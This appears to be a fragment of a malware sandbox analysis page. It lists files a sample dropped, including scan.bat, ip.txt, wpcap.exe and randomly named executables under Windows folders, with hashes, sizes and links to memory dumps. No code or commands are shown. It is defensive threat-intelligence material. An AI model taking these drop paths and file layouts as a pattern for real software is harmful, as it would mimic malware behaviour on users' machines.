                                                                                                                            • SHA256 441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45
                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                            Submit Download

                                                                                                                            ip.txt
                                                                                                                            • Path C:\Windows\yyshahwcl\hbzhttyqt\ip.txt
                                                                                                                            • Size 193B
                                                                                                                            • SHA256 e7323a1906c9993a40ba0ad71b9581bbef511d82dff01412763d38cbb4a1ac60
                                                                                                                            • MD5 SHA1 SHA512
                                                                                                                            Submit Download

                                                                                                                            scan.bat
                                                                                                                            • Path C:\Windows\yyshahwcl\hbzhttyqt\scan.bat
                                                                                                                            • Size 159B
                                                                                                                            • SHA256 0ccc026930525f4bbca70694ca749bdaaf462e401a8970f0e49d6452320a9d90
                                                                                                                            • MD5 SHA1 SHA512
                                                                                                                            Submit Download

                                                                                                                            gctgtz.exe
                                                                                                                            • Path \Windows\Temp\bpetituga\gctgtz.exe
                                                                                                                            • Size 343KB
                                                                                                                            • SHA256 a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23
                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                            Submit Download

                                                                                                                            System.dll
                                                                                                                            • Path \Windows\Temp\nsyFD54.tmp\System.dll
                                                                                                                            • Size 11KB
                                                                                                                            • SHA256 681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59
                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                            Submit Download

                                                                                                                            nsExec.dll
                                                                                                                            • Path \Windows\Temp\nsyFD54.tmp\nsExec.dll
                                                                                                                            • Size 6KB
                                                                                                                            • SHA256 3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9
                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                            Submit Download

                                                                                                                            xohudmc.exe
                                                                                                                            • Path \Windows\Temp\xohudmc.exe
                                                                                                                            • Size 72KB
                                                                                                                            • SHA256 7c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9
                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                            Submit Download

                                                                                                                            lbcjggfpn.exe
                                                                                                                            • Path \Windows\Temp\yyshahwcl\lbcjggfpn.exe
                                                                                                                            • Size 126KB
                                                                                                                            • SHA256 a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af
                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                            Submit Download

                                                                                                                            clkieeyni.exe
                                                                                                                            • Path \Windows\yyshahwcl\hbzhttyqt\clkieeyni.exe
                                                                                                                            • Size 332KB
                                                                                                                            • SHA256 4883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38
                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                            Submit Download

                                                                                                                            gtzbalqhb.exe
                                                                                                                            • Path \Windows\yyshahwcl\hbzhttyqt\gtzbalqhb.exe
                                                                                                                            • Size 63KB
                                                                                                                            • SHA256 a06d135690ec5c5c753dd6cb8b4fe9bc8d23ca073ef9c0d8bb1b4b54271f56bb
                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                            Submit Download

                                                                                                                            wpcap.exe
                                                                                                                            • Path \Windows\yyshahwcl\hbzhttyqt\wpcap.exe
                                                                                                                            • Size 424KB
                                                                                                                            • SHA256 7ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d
                                                                                                                            • MD5 SHA1 SHA512 SSDEEP
                                                                                                                            Submit Download

                                                                                                                            memory/1212-227-0x000000013FEB0000-0x000000013FF0B000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/1212-208-0x000000013FEB0000-0x000000013FF0B000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/1352-167-0x000000013FBA0000-0x000000013FBFB000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/1352-164-0x000000013FBA0000-0x000000013FBFB000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/1528-175-0x000000013FBD0000-0x000000013FC2B000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/1528-172-0x000000013FBD0000-0x000000013FC2B000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/1948-229-0x0000000000D10000-0x0000000000D22000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/2000-155-0x000000013F5A0000-0x000000013F6C0000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/2000-191-0x000000013F5A0000-0x000000013F6C0000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/2000-156-0x000000013F5A0000-0x000000013F6C0000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/2000-225-0x000000013F5A0000-0x000000013F6C0000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/2000-153-0x0000000000670000-0x0000000000674000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/2000-165-0x000000013F5A0000-0x000000013F6C0000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/2000-151-0x00000000003D0000-0x00000000003E0000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/2000-149-0x000000013F5A0000-0x000000013F6C0000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/2000-249-0x000000013F5A0000-0x000000013F6C0000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/2000-173-0x000000013F5A0000-0x000000013F6C0000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/2000-254-0x000000013F5A0000-0x000000013F6C0000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/2000-146-0x000000013F5A0000-0x000000013F6C0000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/2100-193-0x0000000010000000-0x0000000010008000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/2136-133-0x0000000000660000-0x000000000074E000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/2136-134-0x0000000000660000-0x000000000074E000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/2216-135-0x000000013FF50000-0x000000014003E000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/2216-136-0x000000013FF50000-0x000000014003E000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/2308-0-0x0000000000400000-0x0000000000A9B000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/2408-239-0x000000013FBB0000-0x000000013FC0B000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/2408-236-0x000000013FBB0000-0x000000013FC0B000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/2448-74-0x00000000004F0000-0x000000000053C000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/2568-234-0x0000000003040000-0x000000000309B000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/2568-296-0x0000000001B20000-0x0000000001B7B000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/2568-163-0x0000000001920000-0x000000000197B000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/2568-251-0x0000000003040000-0x000000000309B000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/2568-141-0x0000000002AC0000-0x0000000002B1B000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/2568-154-0x0000000002AC0000-0x0000000002BE0000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/2568-188-0x0000000001920000-0x000000000197B000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/2568-150-0x0000000002AC0000-0x0000000002B1B000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/2568-144-0x0000000002AC0000-0x0000000002BE0000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/2568-207-0x0000000003040000-0x000000000309B000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/2568-253-0x0000000003040000-0x000000000309B000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/2568-189-0x0000000001A20000-0x0000000001A7B000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/2568-243-0x0000000001A20000-0x0000000001A7B000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/2596-8-0x0000000000400000-0x0000000000A9B000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/2708-148-0x000000013F570000-0x000000013F5CB000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/2708-158-0x000000013F570000-0x000000013F5CB000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/2788-190-0x000000013FC40000-0x000000013FC9B000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/2788-199-0x000000013FC40000-0x000000013FC9B000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/3020-230-0x0000000000D10000-0x0000000000D22000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/3140-246-0x000000013FAF0000-0x000000013FB4B000-memory.dmp
                                                                                                                            Download

                                                                                                                            memory/3140-244-0x000000013FAF0000-0x000000013FB4B000-memory.dmp
                                                                                                                            Download